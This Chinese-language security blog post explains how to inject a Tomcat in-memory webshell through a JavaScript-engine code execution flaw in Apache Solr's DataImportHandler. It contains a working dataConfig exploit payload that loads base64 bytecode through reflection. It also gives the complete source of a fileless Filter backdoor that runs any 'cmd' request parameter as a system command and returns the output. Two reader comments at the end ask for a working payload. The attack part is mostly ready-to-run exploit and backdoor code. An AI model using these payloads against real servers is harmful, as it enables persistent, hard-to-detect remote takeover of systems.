0x00 前言
在上个月初分析过这个漏洞,这个漏洞是通过 java 内置的 JS 引擎导致的命令执行,当时就觉得这个地方可以有更加深的利用,并简单的提了下回显,因为代码执行 => 内存马注入(但是我太懒了),正好这两天有师傅问起来所以今天就来研究一下如何通过这个漏洞点注入内存马
具体环境搭建&漏洞分析我就不多介绍了,因为在前面有详细的分析过
文章链接:http://wjlshare.com/archives/1617
0x01 内存马注入
由于我本地环境是在 Tomcat 上搭建的 Solr ,所以本文主要以 Tomcat 内存马来做演示
内存马注入通常有两种常见的手法
- Classloader 字节码加载
- JNDI 注入
通常情况下最优解是 Classloader 加载字节码,因为 JNDI 注入会存在 JDK 限制以及 JDK 版本限制的问题,所以我这边只介绍字节码加载,JNDI注入师傅们可以自己去测试一下
字节码加载
漏洞本身是 JS 引擎造成的,可以看到这里是代码执行,所以可以进行内存马的注入
环境:Solr 4.4 + Tomcat 6
针对 Java 中 Js 引擎的对应文章:https://xz.aliyun.com/t/9715
内存马注入我的思路就是利用 Classloader 来进行字节码加载,由于 Js 中调用 Java 有一些坑,不过后续都解决了
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
try{
var classBytes = null;
var c = java.lang.Thread.currentThread().getContextClassLoader();
var code = "base64 后的字节码";
var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
classBytes = clazz.getMethod("decodeBuffer",java.lang.String.class).invoke(clazz.newInstance(), code);
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass",byteArray.class,int.class,int.class);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(c,classBytes,0,classBytes.length);
var dd = cc.newInstance();
row.put("title",dd);
}catch (e){
row.put("title",e.message);
}
return row;
}
]]></script>
<document>
<entity name="whatever"
url="http://localhost:8088/demo.xml"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc" />
</document>
</dataConfig>
直接打
效果如下
Tomcat Filter 内存马:
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.List;
import java.util.Map;
public class TomcatAllVerMemShell implements Filter {
static {
Thread[] threads = new Thread[0];
try {
threads = (Thread[]) getAttr(Thread.currentThread().getThreadGroup(), "threads");
} catch (Exception e){}
ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
boolean done = false;
boolean istomcat6 = true;
for (int i = 0; i < threads.length; i++) {
try {
if (done) {
break;
}
Object processorsObj = (Object) getAttr(getAttr(getAttr(getAttr(getAttr(threads[i], "target"), "this$0"), "handler"), "global"), "processors");
if (processorsObj != null) {
List processors = (List) processorsObj;
for (int i1 = 0; i1 < processors.size(); i1++) {
if (done) {
break;
}
Object context = getAttr(getAttr(getAttr(getAttr(processors.get(i1), "req"), "notes"), "1"), "context");
if (context == null) {
continue;
}
final Class<?> contextClazz = context.getClass();
String suffix = "org.apache.tomcat.util.descriptor.web.";
if (istomcat6) {
suffix = "org.apache.catalina.deploy.";
}
Class<?> filterDefFieldClazz = null;
try {
filterDefFieldClazz = clzLoader.loadClass(suffix + "FilterDef");
} catch (Exception e) {
istomcat6 = true;
suffix = "org.apache.catalina.deploy.";
filterDefFieldClazz = clzLoader.loadClass(suffix + "FilterDef");
}
Object filterDef = filterDefFieldClazz.newInstance();
// Bytes Code
Object filter = new TomcatAllVerMemShell();
setFieldValue(filterDef, "filterName", filter.getClass().getSimpleName());
setFieldValue(filterDef, "filterClass", filter.getClass().getName());
if (!istomcat6) {
setFieldValue(filterDef, "filter", filter);
}
Method addFilterDefMethod = contextClazz.getDeclaredMethod("addFilterDef", filterDefFieldClazz);
Method filterStartMethod = contextClazz.getDeclaredMethod("filterStart");
addFilterDefMethod.setAccessible(true);
filterStartMethod.setAccessible(true);
addFilterDefMethod.invoke(context, filterDef);
filterStartMethod.invoke(context);
Class filterMapsFiledClazz = clzLoader.loadClass(suffix + "FilterMap");
Object filterMap = filterMapsFiledClazz.newInstance();
Method setDispatcheraddURLPattern = filterMapsFiledClazz.getDeclaredMethod("setDispatcher", String.class);
Method addURLPatternMethod = filterMapsFiledClazz.getDeclaredMethod("addURLPattern", String.class);
setDispatcheraddURLPattern.setAccessible(true);
addURLPatternMethod.setAccessible(true);
setFieldValue(filterMap, "filterName", filter.getClass().getSimpleName());
if (!istomcat6) {
Class<?> dispatcherTypeClazz = clzLoader.loadClass("javax.servlet.DispatcherType");
Object dispatcherType = dispatcherTypeClazz.newInstance();
Field REQUESTTypeFiled = dispatcherTypeClazz.getDeclaredField("REQUEST");
REQUESTTypeFiled.setAccessible(true);
String REQUESTType = (String) REQUESTTypeFiled.get(dispatcherType);
setDispatcheraddURLPattern.invoke(filterMap, REQUESTType);
} else {
Class<?> applicationFilterConfigClazz = clzLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> applicationFilterConfigConstructor = applicationFilterConfigClazz.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
applicationFilterConfigConstructor.setAccessible(true);
Object applicationConfig = applicationFilterConfigConstructor.newInstance(context, filterDef);
setFieldValue(applicationConfig, "filter", filter);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(filter.getClass().getSimpleName(), applicationConfig);
setFieldValue(context, "filterConfigs", filterConfigs);
}
addURLPatternMethod.invoke(filterMap, "/*");
Object[] filterMaps = (Object[]) getFieldValue(context, "filterMaps");
Object[] replaceMaps = (Object[]) Array.newInstance(filterMapsFiledClazz, filterMaps.length + 1);
for (int i2 = filterMaps.length; i2 > 0; i2--) {
replaceMaps[i2] = filterMaps[i2 - 1];
}
replaceMaps[0] = filterMap;
setFieldValue(context, "filterMaps", filterMaps.getClass().cast(replaceMaps));
done = true;
break;
}
}
} catch (Exception e) {
}
}
}
public static void setAccessible(AccessibleObject member) {
member.setAccessible(true);
}
public static Object getAttr(Object obj, String FieldName) throws Exception {
if (obj == null) {
return null;
}
if (List.class.isAssignableFrom(obj.getClass())) {
try {
int index = Integer.parseInt(FieldName);
return ((List) obj).get(index);
} catch (Exception e) {
}
}
if (Object[].class.isAssignableFrom(obj.getClass())) {
try {
int index = Integer.parseInt(FieldName);
return ((Object[]) obj)[index];
} catch (Exception e) {
}
}
Class clz = obj.getClass();
java.util.ArrayList fields;
for (fields = new java.util.ArrayList(); clz != null; clz = clz.getSuperclass()) {
Field[] declaredFields = clz.getDeclaredFields();
for (int i = 0; i < declaredFields.length; i++) {
fields.add(declaredFields[i]);
}
}
java.lang.reflect.Field f;
java.util.Iterator var4 = fields.iterator();
do {
if (!var4.hasNext()) {
return null;
}
f = (java.lang.reflect.Field) var4.next();
f.setAccessible(true);
} while (!f.getName().equals(FieldName));
return f.get(obj);
}
public static Object getFieldValue(Object obj,String fieldName) throws Exception{
java.lang.reflect.Field f0 = null;
Class clas = obj.getClass();
while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}
if (f0 != null){
f0.setAccessible(true);
return f0.get(obj);
}else {
throw new NoSuchFieldException(fieldName);
}
}
// object ,method ,value
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
java.lang.reflect.Field f0 = null;
Class clas = obj.getClass();
while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}
if (f0 != null){
f0.setAccessible(true);
f0.set(obj, value);
}else {
throw new NoSuchFieldException(fieldName);
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
0x02 问题
注入之后发现在 corename/data/index 下会生成一个 write.lock
会导致再次启动的时候会报错,不过把这个lock文件删除就可以了
我把文章里面贴的Tomcat Filter 内存马 base64之后,没有打成功,能否贴一下打成功的内存马源码或者字节码
是测试环境还是实战环境